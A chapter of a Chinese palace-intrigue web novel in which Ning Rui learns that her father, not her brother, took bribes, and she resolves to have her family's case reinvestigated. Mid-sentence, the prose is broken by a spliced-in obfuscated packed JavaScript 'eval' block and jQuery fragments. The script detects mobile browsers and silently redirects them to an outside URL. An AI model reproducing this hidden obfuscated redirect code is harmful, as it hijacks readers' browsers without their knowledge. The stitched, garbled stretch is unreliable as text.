沈确今日前来,除了与李徽月解释陵园发生的失火、遇刺等事的来去缘由,还有一件要事,与宁蕊有关。
“冯玉。”沈确将殿外的冯玉传入殿内,命他即刻去请宁太嫔。
宁蕊正与小尚说着话,一听皇上有请,便也猜到了与自家家事有关,忙不迭地过来清辉殿。
沈确与两人仔细说起此事的来由。
之前温小尚的父亲温弘载已被起用,眼下正在为他办件要紧的事,而宁家的家事却迟迟没有结论。不是因为他迟迟未去办,而是宁家的事情实在复杂,且是沈熹在位时处置的。
沈确亲自调出当年的档案查证,宁家大郎的卖官案案情详备,记录清晰,人证物证俱在,看着并没有什么问题。
可他心中却想起了那个已过不惑之年的锦衣卫。那日他办案时,边思考边摸着自己的眉毛,对他笑道:“凡事不可能完美,没有问题就是最大的问题。”
没错,这件案子办得太轻松、太顺利了。
当年东厂与锦衣卫角力,势同水火,因着魏进忠的势力,东厂压了锦衣卫一头,像宁家这样朝中重臣的案子,又牵涉到卖官贪腐,应是优先由东厂来调查。
可是宁家的案子却落在了锦衣卫的手里,东厂对此也没有二话。
在锦衣卫的调查之下,宁家大郎利用其父吏部尚书的职位谋财,卖官鬻爵,收受贿赂,证据确凿,其人也已认罪,签字画押。
而买官的人,也已被抓,经盘查,确认是阉党的人。
宁蕊一听买官之人是阉党,手中的茶杯似是握不住了,反对道:“就算买官之人是阉党,也已被抓,那又有何意义?”
她话刚说出口,却好像刹那间想明白了什么,脸色很是难看。
“皇上的意思是,阉党勾结……若是买官这样的私密事,自然是向自己人行贿买官。”
若这样推断,她的兄长便与买官的人一般,同为阉党……
宁蕊向来清高,不齿阉党,更对魏进忠其人很是反感,如今骤然得知兄长便是阉党,自然难以接受。
“就算你兄长从前不是阉党,既收了阉党的贿赂,替阉党办了事,便自然算是阉党了。”沈确的语气淡漠平静。
宁蕊眼中暗了一下。沈确说得没错,她没得否认。既然收钱办事,便是默认站队了。
父亲一向清廉为公,不曾为了一己私欲放弃底线。兄长虽然只是平庸之辈,没有多大的出息,可也心地善良。怎么会……
如今一个晚节不保,一个锒铛入狱,难道权力、地位真的会彻底改变人吗?
“是我兄长糊涂,连累了父亲,连累了宁家……”宁蕊喃喃道。
沈确看着宁蕊的神色黯淡,犹豫再三,决心还是要将底托出。
他似乎是想将伤害降到最低,低声说:“其实不是你兄长,是你父亲。”
他的声音虽低,却像平地惊雷直接在宁蕊的耳边炸响。
宁蕊猛地看向沈确,眼神中有惊恐,有怀疑,甚至带着一丝埋怨与恨意,仿佛在质问他为什么要告诉她这些。
以前家中变故,宁蕊始终不相信真有此事,就算真的发生了这样的事,也许兄长是被人诓骗,也许是遭人陷害……总之兄长并不是个聪明人,朝中波诡云谲,在朝中偶有行差踏错也很正常。
可是父亲……父亲他不会。能在吏部尚书之位上坐这么多年,父亲不会不懂朝中的规则,也不会无意间犯了大错。他走一步想十步,精明老道,若是他不愿意没人能勉强他。
“那为什么被投入诏狱的……是我兄长?”宁蕊依旧倔强地问着,妄图能侥幸地抓住任何一个机会,让沈确承认是他错了。
李徽月的眼中闪过一个念头:立刻按住沈确,不让他再继续说下去。
可是这么做已经没有任何意义了,宁蕊每每发问完,她心中便已经有了答案。
这一刻她痛恨宁蕊的聪慧。
真相已经像洪水一样将宁蕊吞没了,连着殿中的两人,在一波又一波的浪潮下,口鼻已被淹没,没有一丝空气,也没有喘息的空间。
“我父亲……推他的亲生儿子替他顶罪……是吗?”
宁蕊说完这一句,似乎已经失去了所有的力气,也不愿意再挣扎。
她以为的真相不该是这样的。
她不是没有怀疑过,可她以为的清白只是她自作多情,真相却比表面呈现出来的更丑陋。
她为什么要寻找真相呢?这一刻她有些后悔她的不死心,后悔不见好就收,后悔去探寻真相。
沈确在决定说出这事之前犹豫了很久。既然宁蕊希望调查此案,必定是不认同此案的结果,也必然是相信家人的清白。可是如今,沈确却当着她的面将真相和盘托出,告诉她你家人的丑恶不止于此。
也许真相远不止于此呢?也许可以再查查呢?沈确心中想着,却不忍说出口,怕再次带给宁蕊虚假的希望,最后却引来毁灭性的打击。
殿中三人沉默了许久,沈确想起那位爱摸眉毛的锦衣卫大叔。
最后沈确对着宁蕊缓缓地开口,打破了这死一般的寂静:“眼下的线索便只能得出这样的结果。若你愿意,我有一位旧相识,擅长办疑案悬案,我可以着他继续去查。但我不能保证结果会更好还是更糟。”
宁蕊已是面如死灰,听了沈确的话有些恍惚,她有些动摇。还能继续查吗?最后会查出来什么?今日的结果已经将她推向了万劫不复,她觉得自己有些承受不住了。
李徽月第一次看见宁蕊这副失魂落魄的样子。即使是当初小尚昏迷不醒,宁蕊也没有如此绝望过,她只是与太医连夜翻着医书,从她的身上瞧不出一丝落寞与无措,满是昂扬的士气和坚定的意志。李徽月总觉得以宁蕊的才干与坚韧,就算是在战场上也可以绝处逢生。
事实也是如此,后宫是宁蕊的战场,陵园亦然。她在这两处都逢凶化吉、绝处逢生,便是靠的自己的信念。
李徽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696993|189002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月明白宁蕊的信念,更明白她的骄傲。高官之女,大家闺秀,容貌艳丽,腹有诗书,这四点但凡拥有任何一点都足够骄傲的资本。宁蕊和杜青眉一样都是大家族悉心教养出来的完美女子,她们自己完美,对世界的要求就更是完美。
从前宁蕊的世界只是缺了一个角,她以为自己有机会去缝补,结果如今她的世界崩塌了,屋瓦墙檐不顾她死活地全部塌了下来,将她掩埋。
李徽月有些担忧宁蕊的状态,牢牢握住了她的手,虽不说话,意思却明白。
不论发生什么,我都在。
宁蕊突然触及到李徽月手心的温暖,缓缓地看了她一眼。她想从李徽月的脸上得到答案,到底她应该让人继续去查宁家的真相,还是就此收手,就此认命。
认命……想到这个词,宁蕊心中便升起一股寒意。
她只认过一次命,便是十岁那年,母亲病故。她花了好长的时间接受了母亲再也不会醒过来的事实。她第一次知道了人死如灯灭,第一次明白逝去的人便再也回不来。这世上有人富贵一生,有人终日困苦,有人长命百岁,有人活不过三十,都是命数。
人死了总是没有办法。那一次,她认命了。
这一次,不行。
只要她活着一日,宁家就没亡。不管是父兄的清白,还是宁家的荣耀,这一刻便由她背起来。
从前她只是一个在家族荫庇下长大的女儿,自以为是天之骄女,却是宁家这颗大树下装点门楣的小花丛。如今她不想再做那低矮的灌木了,她要自己长成树,将宁家护在身下。
她想起往日父亲因政务愁得食不下咽的模样,想起兄长心疼父亲的模样,想起他常从外头带回她想看的书、想要的小物件儿,想起他俩说她的眉目有多么的像母亲,想起仅剩的一家三口想起逝去的母亲时如何的含泪难言。
她搜寻脑海中对母亲的记忆,想起她的神情,总是带着坚毅,却又那么慈爱。若是母亲还在,她会认命吗?
宁蕊知道母亲不会,她绝对不会接受这样的结果。若她还活着,她必然坚定地相信他们的清白,她必要为丈夫、儿子洗清冤屈,哪怕是敲登闻鼓告到御前,她也不会有一丝惧意。
认命,绝不可能。
宁蕊的眼中渐渐又燃起了往日的光亮,她起身对沈确行了大礼,望向他的双眼,坚定地说:“请皇上继续着人彻查宁家之事。”
末了她补充道,“不论结果如何,我都能承受。”
沈确闻言,点了点头,眼中带着一丝欣赏:“朕一定命人彻查。”
李徽月看着宁蕊挺直的脊梁,五味杂陈。
打不倒的宁蕊,她认识的宁蕊就是如此士气昂扬、意志坚定、绝不认输,意气风发地活着,每一天都轰轰烈烈。
小尚说错了,宁蕊可不是什么四月的芍药花。
她貌美,却不是供人赏玩的花卉。她是参天大树,她是山河永续。
她是个打不倒的战士。